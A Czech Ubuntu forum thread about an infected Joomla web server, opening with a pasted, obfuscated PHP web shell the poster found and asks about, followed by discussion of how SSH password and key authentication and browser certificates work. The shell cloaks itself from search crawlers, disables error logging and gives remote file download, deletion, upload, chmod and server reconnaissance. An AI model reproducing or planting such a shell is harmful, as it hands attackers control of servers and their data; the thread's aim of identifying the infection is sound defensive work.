if(!empty($_SERVER['HTTP_USER_AGENT'])) { $v2045f746 = array("Google""Slurp""MSNBot""ia_archiver""Yandex""Rambler""StackRambler"); if(preg_match('/' implode('|'$v2045f746) . '/i', @$_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); if(@get_magic_quotes_gpc()) $_POST n0182dfe8($_POST); $v619d75f8 preg_split('/\,(\ +)?/', @ini_get('disable_functions')); define("DEFAULT_DIR_DEEP_BACK","3"); if(isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']); if(isset($_POST['p3'])) $_POST['p3'] = urldecode($_POST['p3']); if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { ob_start("ob_gzhandler"4096); header("Content-Disposition: attachment; filename=".@basename($_POST['p1'])); if (function_exists("mime_content_type")) { $v599dcce2 = @n85ced157($_POST['p1']); header("Content-Type: " $v599dcce2); } else header("Content-Type: application/octet-stream"); $v0666f0ac = @fopen($_POST['p1'], "r"); if($v0666f0ac) { while(!@feof($v0666f0ac)) echo @fread($v0666f0ac1024); @fclose($v0666f0ac); } } exit; } elseif (@$_POST['p2']=='delete') { if (@is_dir($_POST['p1'])) @n46aa46af($_POST['p1']); else @unlink($_POST['p1']); } elseif (@$_POST['p2']=='chmod') { $v58f57b98 0; for($v865c0c0b=strlen($_POST['p1'])-1;$v865c0c0b>=0;--$v865c0c0b$v58f57b98 += (int)$_POST['p3'][$v865c0c0b]*pow(8, (strlen($_POST['p3'])-$v865c0c0b-1)); if(!@chmod($_POST['p1'], $v58f57b98)) echo 'Can\'t set permissions!<br>'; } elseif (@$_POST['p2']=='mkdir') { if(!@mkdir($_POST['p1'])) echo 'Can\'t create new dir<br><script>document.mf.p3.value="";</script>'; } elseif (@$_POST['p2']=='uploadFile') { if(!@move_uploaded_file(@$_FILES['f']['tmp_name'], $_POST['p3'].@$_FILES['f']['name'])) echo 'Can\'t upload file!<br><script>document.mf.p3.value="";</script>'; } if (isset($_REQUEST['sf']) and $_REQUEST['sf']==0$v2e0a881e false; else $v2e0a881e true; if (isset($_REQUEST['showro']) and $_REQUEST['showro']==0$v8a40bf93 false; else $v8a40bf93 true; echo "
<html>
<style>
body{background-color:#000028;color:#e1e1e1;}
body,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
div.content{ padding: 7px;margin-left:7px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
input{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#003300;}
.main tr:hover{border:2px outset gray;;background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var p1_ = '"
.((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars(@$_POST['p1'],ENT_QUOTES))."';
var p2_ = '"
.((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars(@$_POST['p2'],ENT_QUOTES))."';
var p3_ = '"
.((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars(@$_POST['p3'],ENT_QUOTES))."';
var d = document;
function set(p1,p2,p3) {
        if(p1!=null)d.fm.p1.value=p1;else d.fm.p1.value=p1_;
        if(p2!=null)d.fm.p2.value=p2;else d.fm.p2.value=p2_;
        if(p3!=null)d.fm.p3.value=p3;else d.fm.p3.value=p3_;
}
function g(p1,p2,p3) {
        set(p1,p2,p3);
        d.fm.submit();
}
</script>
<!--
86a20c1b92a2d831b50ba9d62e18ed86
-->
<body>
<form method=post name=fm style='display:none;'>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
</form>
"
; if (!function_exists("posix_getpwuid") && !in_array('posix_getpwuid'$v619d75f8)) { function posix_getpwuid($v83878c91) { return false; } } if (!function_exists("posix_getgrgid") && !in_array('posix_getgrgid'$v619d75f8)) { function posix_getgrgid($v83878c91) { return false; } } $v10963336 = @getcwd().DIRECTORY_SEPARATOR$va9cc6a00 = @diskfreespace($v10963336); $vdb28f3b2 = @disk_total_space($v10963336); $vdb28f3b2 $vdb28f3b2?$vdb28f3b2:1; if(!function_exists('posix_getegid')) { $vee11cbb1 = @get_current_user(); $v9871d3a2 = @getmyuid(); $v2d53a8fb = @getmygid(); $vdb0f6f37 "?"; } else { $v9871d3a2 = @posix_getpwuid(@posix_geteuid()); $v2d53a8fb = @posix_getgrgid(@posix_getegid()); $vee11cbb1 $v9871d3a2['name']; $vdb0f6f37 $v2d53a8fb['name']; $v9871d3a2 $v9871d3a2['uid']?$v9871d3a2['uid']:@posix_geteuid(); $v2d53a8fb $v2d53a8fb['gid']?$v2d53a8fb['gid']:@posix_getegid(); } $v693ee6e5 count(explode('/', @$_SERVER["REQUEST_URI"])) - 2; if ($v693ee6e5 DEFAULT_DIR_DEEP_BACK$v693ee6e5 DEFAULT_DIR_DEEP_BACK; print "<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>PHP:<br>Disabled:<br>HDD:<br>Site:<br>Root:<br>CWD:</span></td><td><nobr>".@php_uname()."</nobr><br>".$v9871d3a2.' ( '.$vee11cbb1.' ) <span>Group:</span> '.$v2d53a8fb.' ( '.$vdb0f6f37.' )<br>'.@phpversion().' <span>Safe mode:</span> ' . (@ini_get('safe_mode')?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'\',\'info\')">[ phpinfo ]</a> '.' <span>Datetime:</span> ' date('Y-m-d H:i:s')."<br><nobr>".implode(","$v619d75f8)."</nobr><br>".n25d3ae48($vdb28f3b2) . ' <span>Free:</span> ' n25d3ae48($va9cc6a00) . ' ('. (int) ($va9cc6a00/$vdb28f3b2*100) . "%)<br><a href=\"http://".@$_SERVER['HTTP_HOST']."/\">http://".@$_SERVER['HTTP_HOST']."/</a><br>".htmlspecialchars(realpath(@$_SERVER['DOCUMENT_ROOT']).DIRECTORY_SEPARATOR)."<br>".htmlspecialchars($v10963336)." <a href='".@$_SERVER["REQUEST_URI"]."'>[ home ]</a></td><td align='right' width=10%><span>Server IP:</span><br>".@$_SERVER["SERVER_ADDR"]."<br><span>Client IP:</span><br>".@$_SERVER["REMOTE_ADDR"]."<br>deep = $v693ee6e5</td></tr></table>\n"; if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style><a href="'.@$_SERVER["REQUEST_URI"].'">BACK</a>'ob_start(); phpinfo(); $vfa816edb ob_get_clean(); $vfa816edb preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$vfa816edb); $vfa816edb preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$vfa816edb); echo str_replace('<h1','<h2'$vfa816edb) .'</div><br>'; exit; } $v10ae9fc7 = @n643462d4($v10963336$v2e0a881e); if ($v693ee6e5 0) { $v73600783 $v10963336.DIRECTORY_SEPARATOR.'..'; for ($v865c0c0b=1$v865c0c0b <= $v693ee6e5$v865c0c0b++) { $v10ae9fc7 array_unique(array_merge($v10ae9fc7n97fe6a35("$v73600783"$v2e0a881e))); $v73600783 $v73600783.DIRECTORY_SEPARATOR.'..'; } } print '<script>p1_=p2_=p3_="";</script>
<div class=content>
<table class="main" cellpadding="2" cellspacing="0" width="100%">
<tbody><tr><th>Status</th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>
'
$v2db95e8e 0; foreach ($v10ae9fc7 as $v73600783) { if (@is_writable($v73600783)) $v9acb4454="<font color='green'>RW</font>"; else if ($v8a40bf93$v9acb4454="<font color='red'>RO</font>"; else continue; $v72122ce9 = @posix_getpwuid(@fileowner($v73600783)); $vdb0f6f37 = @posix_getgrgid(@filegroup($v73600783)); $vb515e18a $v72122ce9['name']?$v72122ce9['name']:@fileowner($v73600783); $vaae3c716 $vdb0f6f37['name']?$vdb0f6f37['name']:@filegroup($v73600783); $v58f57b98 substr(sprintf('%o', @fileperms($v73600783)), -4); $v8f45a264 date('Y-m-d H:i:s', @filemtime($v73600783)); if (@is_dir($v73600783)){ $v9407b494 "[ $v73600783 ]"$vf7bd60b7 "<span>DIR</span>"; } else { $vf7bd60b7 n25d3ae48(@filesize($v73600783)); $v9407b494 "$v73600783"; } print "<tr".($v2db95e8e?' class=l1':'')."><td><span>$v9acb4454</span></td><td><b><span>".htmlspecialchars($v9407b494)."</span></b></td><td>$vf7bd60b7</td><td>$v8f45a264</td><td>$vb515e18a/$vaae3c716</td><td>$v58f57b98</td><td>"; if (!@is_dir($v73600783)) print "<a title=\"Download\" href=\"#\" onclick=\"g('".urlencode($v73600783)."','download')\">D</a>"; print " <a title=\"Remove\" href=\"#\" onclick=\"g('".urlencode($v73600783)."','delete')\">R</a></td></tr>\n"$v2db95e8e $v2db95e8e?0:1; } print "
</tbody></table>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr><td><form method=post onsubmit=\"g(this.m.value,'mkdir');return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=m value='"
.htmlspecialchars($v10963336)."'><input type=submit value='>>'></form></td></tr>
<tr><td><form method=post onsubmit=\"g(this.d.value,'delete');return false;\"><span>Delete (file or dir):</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td></tr>
<tr><td><form method=post><span>Chmod:</span>
<input type=hidden name=p2 value='chmod'><br>
File or dir : <input class='toolsInp' type=text name=p1 value='"
.htmlspecialchars($v10963336)."'><br>
<input type=text size=6 name=p3 value='0755'>
<input type=submit value='>>'></form></td></tr>
<tr><td><form method='post' ENCTYPE='multipart/form-data'>
<span>Upload file:</span><br>
<input type=hidden name=p2 value='uploadFile'>
Path : <input class='toolsInp' type=text name=p3 value='"
.htmlspecialchars($v10963336)."'><br>
<input class='toolsInp' type=file name=f>
<input type=submit value='>>'></form><br></td></tr>
</table></div></body></html>
"
; function n7d8f77be($v73600783) { $v700f6fa0 = @opendir($v73600783); while (false !== ($v435ed7e9 = @readdir($v700f6fa0))) $v45b96339[] = $v435ed7e9; return $v45b96339; } function n643462d4($v73600783$v2e0a881e=true) { if(!function_exists("scandir")) $v63a9f0ea array_diff(@n7d8f77be($v73600783), array('.''..')); else $v63a9f0ea array_diff(@scandir($v73600783), array('.''..')); foreach($v63a9f0ea as $v2063c160) { if($v2063c160 === '.' || $v2063c160 === '..') continue; if(@is_file($v73600783.DIRECTORY_SEPARATOR.$v2063c160) && $v2e0a881e) { $vb4a88417[]=@realpath($v73600783.DIRECTORY_SEPARATOR.$v2063c160);continue; } elseif(@is_dir($v73600783.DIRECTORY_SEPARATOR.$v2063c160)) $vb4a88417[]=@realpath($v73600783.DIRECTORY_SEPARATOR.$v2063c160).DIRECTORY_SEPARATOR; else continue; foreach(@n643462d4($v73600783.DIRECTORY_SEPARATOR.$v2063c160$v2e0a881e) as $v2063c160$vb4a88417[]=$v2063c160; } return $vb4a88417; } function n97fe6a35($v73600783$v2e0a881e=true) { if (false == ($v700f6fa0 = @opendir($v73600783))) return array(); while (false !== ($v435ed7e9 = @readdir($v700f6fa0))) if ($v435ed7e9 != '..' and @is_dir($v73600783.DIRECTORY_SEPARATOR.$v435ed7e9)) $v45b96339[] = @realpath($v73600783.DIRECTORY_SEPARATOR.$v435ed7e9).DIRECTORY_SEPARATOR; elseif ($v2e0a881e and $v435ed7e9 != '..' and @is_file($v73600783.DIRECTORY_SEPARATOR.$v435ed7e9)) $v45b96339[] = @realpath($v73600783.DIRECTORY_SEPARATOR.$v435ed7e9); @closedir($v700f6fa0); return $v45b96339; } function n46aa46af($v73600783) { foreach(glob($v73600783 '/*') as $v8c7dd922) { if(@is_dir($v8c7dd922)) n46aa46af($v8c7dd922); else @unlink($v8c7dd922); } @rmdir($v73600783); } function n25d3ae48($v03c7c0ac) { if($v03c7c0ac >= 1073741824) return sprintf('%1.2f'$v03c7c0ac 1073741824 ). ' GB'; elseif($v03c7c0ac >= 1048576) return sprintf('%1.2f'$v03c7c0ac 1048576 ) . ' MB'; elseif($v03c7c0ac >= 1024) return sprintf('%1.2f'$v03c7c0ac 1024 ) . ' KB'; else return $v03c7c0ac ' B'; } function n0182dfe8($ve04aa510) { if (is_string($ve04aa510)) return stripslashes($ve04aa510); if (is_array($ve04aa510)) foreach($ve04aa510 as $v865c0c0b => $v2063c160$ve04aa510[$v865c0c0b] = n0182dfe8($v2063c160); return $ve04aa510 ; } ?>



To mi nepřijde jako košér php skript. Projekt sice běhá na joomla, což je balast sám o sobě, ale tohle vypadá spíš na nějakou mrchu...pokud tohle nepatří k joomla, tak je jasné, že se to tam dostalo od někoho z lokálu... Ale nejsem nějaký php machr a joomlu nějak extra taky neznám, tak nevím, jestli to není v pořádku
« Poslední změna: 15 Května 2013, 16:38:08 od On »
Asus M2A-VM HDMI, Athlon 64 X2 4800+, 4GB DDR2/800Mhz,Powercolor HD 2600 XT, Ubuntu 10.10
Být posledním nevadí, ale nikdy nesmíte být poslední dvakrát po sobě - Iacocca

beer

  • Host
Re:Zavirovaný webový server
« Odpověď #12 kdy: 15 Května 2013, 16:56:41 »
Neposílá se heslo v plaintextu. Když se připojuješ poprvé, tak se před zadáním jména + hesla vygenerují klíče, ty je odsouhlasíš a teprve potom se můžeš přihlašovat.

No, myslím, že se vytvoří nějaký hash nebo nějaký fingerprint, či tak něco, který kontroluje ip adresu a hostname, ale že by se vygenerovali klíče, to myslím že ne... Ty se generují ručně. Ta kontrola mi teď hlásí, pokaždé, když se chci někam připojit přes klíč, že se změnil server, a jen proto, že jsem změnil hostname.

Navíc to o odposlechnutí hesla máme i zde:

http://wiki.ubuntu.cz/ssh

Citace
Ověření veřejného klíče

Kdysi všichni používali k prokazování identity klasické uživatelské jméno a heslo. Nicméně pokud někdo uhodl nebo odposlechl vaše heslo, tak bylo veškeré zabezpečení pryč.

Šuohob

  • Závislák
  • ***
  • Příspěvků: 2171
Re:Zavirovaný webový server
« Odpověď #13 kdy: 15 Května 2013, 19:51:27 »
Navíc to o odposlechnutí hesla máme i zde:

http://wiki.ubuntu.cz/ssh

Citace
Ověření veřejného klíče
Kdysi všichni používali k prokazování identity klasické uživatelské jméno a heslo. Nicméně pokud někdo uhodl nebo odposlechl vaše heslo, tak bylo veškeré zabezpečení pryč.

Ten wikiclanek si mirne protireci, viz:
Citace
SSH nahrazuje starší, nezabezpečené aplikace jako telnet, rlogin a FTP. Tyto aplikace přenášely hesla po internetu bez šifrování, čímž mohla být hesla snadno odposlechnuta a ukradena. Použitím šifrování SSH těmto problémům předchází.

osobne by me zajimalo, jak by se takove ssh heslo dalo odposlechnout.
Ostatne i prihlasovani se klicem ma sva rizika, staci kompromitovany uzivatelsky ucet a malware se diky klicum (resp diky ssh-add) dostane na vsechny servery kam se prihlasujes.
« Poslední změna: 15 Května 2013, 20:41:05 od Šuohob »
Tak dlouho se vrzá s Acerem, až se displej utrhne.

Martin - ViPEr*CZ*

Re:Zavirovaný webový server
« Odpověď #14 kdy: 15 Května 2013, 20:08:19 »
To je blbost... jinak je to nejhloupější soft chyba jakou jsem kdy viděl. ;D
Přesně tak... kdybych se přihlašoval klíčem, který se odešle stejně jako to heslo, o kterým tvrdíte, že jde odposlechnout... tak co by útočníkovi zabránilo odposlechnout ten SSH klíč a příště ho použít místo Vás??? Absolutně nic. I ten klíč se musí nějak poslat zašifrovaně, aby se nedal jen tak odcizit. Nevím... ale když si dám 1 + 1, tak to ani snad jinak nejde.... nebo zatím nic lepšího nevymyslel nikdo.
Open source is gold way... Mint 17.2, Debian 8.1 Jessie| Ubuntu Wiki (návody) | Google vyhledávač | Qt4 návody

Šuohob

  • Závislák
  • ***
  • Příspěvků: 2171
Re:Zavirovaný webový server
« Odpověď #15 kdy: 15 Května 2013, 20:46:54 »
fungovani autentizace pomoci klicu (cituji z http://www.root.cz/clanky/pouzivani-klicu-v-openssh/):
Citace
Použití uživatelských klíčů

Namísto posílání hesla se klient může představit elektronickým podpisem. Nejprve si vygeneruje dvojici asymetrických klíčů, soukromý a veřejný. Poté sdělí serveru prostou zprávu: „Rád bych se přihlásil jako pepa.“ K této zprávě připojí svůj veřejný klíč a celou zprávu podepíše, tedy připojí hash zprávy, zašifrovaný svým soukromým klíčem. Server ověří platnost podpisu proti veřejnému klíči, který je součástí zprávy a pokud je v pořádku, zkontroluje, zda má pepa uveden v seznamu autorizovaných SSH klíčů veřejný klíč, kterým byla zpráva podepsána. Pokud ano, je přihlášení úspěšné.

tzn. soukromy klic, kterym se zprava podepisuje se nikam (nikdy) neposila a tedy neni co odposlechnout. Verejny klic je uz z princiu verejny.
« Poslední změna: 15 Května 2013, 20:48:51 od Šuohob »
Tak dlouho se vrzá s Acerem, až se displej utrhne.

Martin - ViPEr*CZ*

Re:Zavirovaný webový server
« Odpověď #16 kdy: 15 Května 2013, 21:49:09 »
Teď nějak nechápu tu poslední reakci... k čemu je ta citace? (googlit snad umíme všichni :-) ) Pro doplnění toho co jsem laicky popsal (ať to tu máme nějak odborněji)?
Open source is gold way... Mint 17.2, Debian 8.1 Jessie| Ubuntu Wiki (návody) | Google vyhledávač | Qt4 návody

On

  • Stálý člen
  • **
  • Příspěvků: 1136
    • Operační systémy
Re:Zavirovaný webový server
« Odpověď #17 kdy: 15 Května 2013, 22:48:02 »
Laicky to zkusím shrnout já.. žiju tedy v domnění, že SSH užívám právě proto, aby mi heslo odposlechnuto nebylo. FTP se dá sice taky zašifrovat, ale to už je za zenitem. SSH mám za to, že jakákoliv komunikace, která vede přes něj, je šifrovaná. Od počátku, do konce. Jestliže se budu hlásit z počítače A, přes X routerů na počítač B na druhé straně zeměkoule, není možné, aby na kterémkoliv routeru bylo možné heslo odposlechnout...tím by ssh, jakožto zabezpečený kanál, postrádal svůj smysl.

Autorizace klíčů byla detailně a smysluplně popsána právě v článku z root.cz.
Asus M2A-VM HDMI, Athlon 64 X2 4800+, 4GB DDR2/800Mhz,Powercolor HD 2600 XT, Ubuntu 10.10
Být posledním nevadí, ale nikdy nesmíte být poslední dvakrát po sobě - Iacocca

beer

  • Host
Re:Zavirovaný webový server
« Odpověď #18 kdy: 16 Května 2013, 02:09:27 »
Když se přihlašujete poprvé k nějakému stroji, udělá se po vašem odsouhlasení záznam v ~/.ssh/known_hosts.


To, jak se ty hashe tam dělají, musí být někde v dokumentaci k .ssh. Nicméně se tím myslím nic nešifruje.

Jak může být přihlašování heslem šifrované, když protistrana nezná šifru? To by se nikdo nikam nikdy heslem nepřihlásil. Proto, aby mohl být šifrovaný přenos, musí obě strany být dohodnuty, jak šifrovat, protistrana musí mít dešifrovací klíč a než se nalogujete heslem, tak ho prostě nemá.
Leda že byste použili přihlašování klíči. Tak použije váš veřejný klíč, který si vygenerujete (ssh-keygen -t dsa) a doručíte na druhou stranu například skrze přihlášení heslem (ssh-copy-id -i ~/.ssh/id_dsa.pub pepa@maxipesfik) nebo na flešce. Heslo mohlo být odposlechnuto, tak na vzdáleném stroji přihlášení heslem po vyzkoušení funkčnosti zakážete.

I kdyby se to heslo neposílalo v plaintextu, ale v nějakém hashi, tak tvorba toho hashe bude opensource a součástí veřejných zdrojových kódů k openssh.

Ten článek si ohledně telnetu, rloginu a ftp neodporuje. Ty bývají nezabezpečené po celou dobu připojení. U ssh je to jen zasílání hesla.
« Poslední změna: 16 Května 2013, 02:12:27 od beer »

Martin - ViPEr*CZ*

Re:Zavirovaný webový server
« Odpověď #19 kdy: 16 Května 2013, 07:14:36 »
Takhle to úplně nelogicky nezní... bude v tom nějaký fígl, takhle do hloubky to opravdu neznám, to přiznávám.
Ale jak píše @on: "tím by ssh, jakožto zabezpečený kanál, postrádal svůj smysl." A má naprostou pravdu... prostě fígl. Ku přikládu mě takhle po ránu (doufám, že u toho ještě nespím  ;D ) napadlo přirovnání s apachem. Tam když je stránka na SSL, tak taky nikdo nemá svoje klíče... přesto když někam pošlete svoje údaje, jsou zašifrované. Takže jde to... poslat zašifrovaně... aniž by druhá strana musela mít importovaný klíče. Nebo to ti chudáci všichni lidé posílají inetem nezašifrované řetězce?  ::)
Open source is gold way... Mint 17.2, Debian 8.1 Jessie| Ubuntu Wiki (návody) | Google vyhledávač | Qt4 návody

ETNyx

  • Aktivní člen
  • *
  • Příspěvků: 425
Re:Zavirovaný webový server
« Odpověď #20 kdy: 16 Května 2013, 08:51:39 »
SSH je jako spusta věcí vytvořeno ve "vrstvách" a je pravda autorizační (authentication layer) vrstva předává heslo v plaintextu (podle RFC) Taky jsem se zděsil když jsem to četl. Nicméně autorizační vrstva spoléhá na vrstvu spojovou (transport layer), že zajistí důvěryhodné spojení a to vyjednáváním. V SSH je metoda pro zajištění komunikace dvou neznámých subjektů takhle si předají klíč na jedno použití. Takže heslo neproplouvá netem nezašifrováno.

EDIT: a ta metoda by měla být Diffie-Hellman Key Exchange, krása by měla spočívat v tom že i kdyby útočník odposlouchával komunikaci tak při tom "vyjednávání" se nikdy klíč neposílá a matematikou je zajištěn dostatečně robustní algoritmus odolný na odhady.
« Poslední změna: 16 Května 2013, 10:10:57 od ETNyx »
jabber: etnyx@jabbim.cz

On

  • Stálý člen
  • **
  • Příspěvků: 1136
    • Operační systémy
Re:Zavirovaný webový server
« Odpověď #21 kdy: 16 Května 2013, 11:16:34 »
Jestli jsem tedy správně pochopil, heslo se v plaintextu tedy reálně opravdu posílá, jenže nad ním je komunikační vrstva, která už svým mechanismem zajistí, aby odposlechnutelné toto heslo nebylo. Jinými slovy dostat se k heslu znamená prolomení komunikační vrstvy...čili jestli je heslo šifrované samostatně nebo v komunikační vrstvě, tak jako tak je to pro útočníka problém..Na to, si myslím, že člověk využívající SSH spoléhá.
« Poslední změna: 16 Května 2013, 11:18:13 od On »
Asus M2A-VM HDMI, Athlon 64 X2 4800+, 4GB DDR2/800Mhz,Powercolor HD 2600 XT, Ubuntu 10.10
Být posledním nevadí, ale nikdy nesmíte být poslední dvakrát po sobě - Iacocca

Martin - ViPEr*CZ*

Re:Zavirovaný webový server
« Odpověď #22 kdy: 16 Května 2013, 11:23:01 »
Přesně tak, na to člověk spoléhá... a ono to tak i je. Jinak bych v tom případě pochyboval, že by autoři nezakomponovali tu vlastnost, že bez klíčů by se zkrátka logovat nešlo (asi jako kdyby banky dali možnost přístup do účtu buď s SSL či bez něj).
Open source is gold way... Mint 17.2, Debian 8.1 Jessie| Ubuntu Wiki (návody) | Google vyhledávač | Qt4 návody

On

  • Stálý člen
  • **
  • Příspěvků: 1136
    • Operační systémy
Re:Zavirovaný webový server
« Odpověď #23 kdy: 16 Května 2013, 14:18:16 »
Já bych se možná ještě malinko vrátil k tomu, co psal Martin - VIPEr*CZ*, a sice:

Citace
Ku přikládu mě takhle po ránu (doufám, že u toho ještě nespím  ;D ) napadlo přirovnání s apachem. Tam když je stránka na SSL, tak taky nikdo nemá svoje klíče... přesto když někam pošlete svoje údaje, jsou zašifrované.

Odborník na certifikáty sice nejsem, ale dle mého skromného názoru zrovna tohle nebyl úplně vhodný příklad :) Každý webový prohlížeč v sobě totiž má certifikační autority. Všechny světové vydavatele by mít měl, pač pokud si někdo u takového vydavatele nechá vystavit pro svůj web certifikát, tak se právě tento certifikát autentizuje s tím, který je v tom webovém prohlížeči. Na základě toho pak vznikne šifrovaná komunikace. Pokud jej prohlížeč nezná, je uživatel upozorněn, že certifikát není důvěryhodný a vstup je na vlastní riziko.

Já bych to spíš přirovnal k tomu, že šifrovaná komunikace nemusí vznikat jen na základě protistran, ale na základě nějakého algoritmu. Typickým příkladem je hash md5 např v mysql. Tak jsem si teda původně myslel, že ssh plus minus funguje. Než dojde k navázání spojení, tak heslo putuje v nějaké zašifrované podobě.

Beer už ale předvídavě na tohle odpověděl:
Citace
I kdyby se to heslo neposílalo v plaintextu, ale v nějakém hashi, tak tvorba toho hashe bude opensource a součástí veřejných zdrojových kódů k openssh.

Což je možná pravda, ale pořád by to měl útočník složitější. V bezpečnosti obecně jde stejně hlavně o to, oddálit nebo co nejvíc zkomplikovat možnost nabourání, pač stoprocentní ochrana není žádná.
« Poslední změna: 16 Května 2013, 14:24:58 od On »
Asus M2A-VM HDMI, Athlon 64 X2 4800+, 4GB DDR2/800Mhz,Powercolor HD 2600 XT, Ubuntu 10.10
Být posledním nevadí, ale nikdy nesmíte být poslední dvakrát po sobě - Iacocca

Martin - ViPEr*CZ*

Re:Zavirovaný webový server
« Odpověď #24 kdy: 16 Května 2013, 14:43:57 »
Asi máš pravdu. Každopádně i s nepodepsaným certifikátem to je ok. Ale zaskočil jsi mě... docela by mě zajímal ten přesný text co tam browser píše.
Ještě teda doplním, že ty podepsaný certifikáty by neměli jít podvrhnout a browser právě na ty nepodepsaný upozorňuje. Protože uživatel sice může mít v adresním řádku adresu banky, ale kdyby měla certifikát nepodepsaný, tak by se mohlo stát, že banku vidím, ale že jde vlastně o kopii vytvořenou útočníkem a jak odešlu heslo, tak jeho server si ho pravděpodobně uloží. (nevím teď z hlavy jak se tomu útoku říká)
Open source is gold way... Mint 17.2, Debian 8.1 Jessie| Ubuntu Wiki (návody) | Google vyhledávač | Qt4 návody

 

Provoz zaštiťuje spolek OpenAlt.